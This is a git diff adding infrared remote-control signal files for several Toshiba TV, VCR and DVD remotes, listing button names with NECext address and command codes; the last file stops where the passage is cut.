a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir new file mode 100644 index 000000000..4cf9a261b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir @@ -0,0 +1,218 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 09 00 00 00 +# +name: KEY_102ND +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0B 00 00 00 +# +name: ch_3 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 12 00 00 00 +# +name: I/II +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 13 00 00 00 +# +name: src +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 14 00 00 00 +# +name: ch_4 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 15 00 00 00 +# +name: call +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 16 00 00 00 +# +name: txt/tv +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 17 00 00 00 +# +name: contrast +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 18 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1A 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1B 00 00 00 +# +name: beep +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1D 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 1F 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 48 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 49 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4A 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 4B 00 00 00 +# +name: ch_1 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 53 00 00 00 +# +name: ch_2 +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 54 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 86 6B 00 00 +command: 5B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir new file mode 100644 index 000000000..1ea4044d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0A 00 00 00 +# +name: tv_video +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: chrtn +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 17 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1A 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1C 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4B 00 00 00 +# +name: tv_vcr +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4C 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4E 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 4F 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 51 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 53 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 58 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 80 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir new file mode 100644 index 000000000..1179321ff --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 09 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0C 00 00 00 +# +name: KEY_HOME +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0D 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 10 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 13 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 14 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 15 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 16 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 18 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 19 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1B 00 00 00 +# +name: KEY_NUMERIC_POUND +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1C 00 00 00 +# +name: KEY_NUMERIC_STAR +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 1F 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 20 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 21 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 22 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 23 00 00 00 +# +name: KEY_DVD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 24 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 25 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 26 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 48 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5A 00 00 00 +# +name: KEY_RED +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5B 00 00 00 +# +name: KEY_GREEN +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5C 00 00 00 +# +name: KEY_YELLOW +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5D 00 00 00 +# +name: KEY_BLUE +type: parsed +protocol: NECext +address: 04 0F 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir new file mode 100644 index 000000000..f0b06753f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 04 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 07 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 09 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0A 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0B 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0C 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0D 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0E 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 0F 00 00 00 +# +name: chminus +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 10 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 11 00 00 00 +# +name: chplus +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 12 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 14 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 15 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 18 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 19 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1A 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1D 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 1F 00 00 00 +# +name: linein +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 24 00 00 00 +# +name: plus100 +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 26 00 00 00 +# +name: pplus +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 29 00 00 00 +# +name: prech +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2A 00 00 00 +# +name: trkplus +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2C 00 00 00 +# +name: trkminus +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 2D 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 32 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 37 00 00 00 +# +name: speed +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 3A 00 00 00 +# +name: pstd +type: parsed +protocol: NECext +address: 05 05 00 00 +command: 6F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir new file mode 100644 index 000000000..297cdb1f6 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: PAUSE_STEP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: SLOW+ +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: SLOW- +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: REV +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: KEY_T +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: A-B_RPT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: FL_DIMMER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: X_KEY_3D +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 43 00 00 00 +# +name: DISC_SELECT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4A 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: TOPMENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir new file mode 100644 index 000000000..6045a53d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir @@ -0,0 +1,272 @@ +Filetype: IR signals file +Version: 1 +# +name: PauseStep +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: Display +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: SkipForward +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: Memory +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# +name: RepeatA-B +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2C 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2E 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 40 00 00 00 +# +name: FlDim +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 41 00 00 00 +# +name: EAM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 43 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 4D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 51 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 80 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 81 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 84 00 00 00 +# +name: FlSelect +type: parsed +protocol: NECext +address: 45 00 00 00 +command: D7 00 00 00 +# +name: TopMenu +type: parsed +protocol: NECext +address: 45 00 00 00 +command: DE 00 00 00 +# +name: EPM +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EE 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 45 00 00 00 +command: EF 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: F5 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir new file mode 100644 index 000000000..349619065 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir @@ -0,0 +1,296 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 09 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0A 00 00 00 +# +name: quick +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0B 00 00 00 +# +name: slow+ +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0D 00 00 00 +# +name: slow- +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 0E 00 00 00 +# +name: v.remote +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 10 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 12 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 13 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 14 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 15 00 00 00 +# +name: navi +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 16 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 20 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 21 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 22 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 23 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 24 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 25 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 26 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 27 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 28 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 29 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2A 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 45 00 00 00 +command: 2B 00 00 00 +# 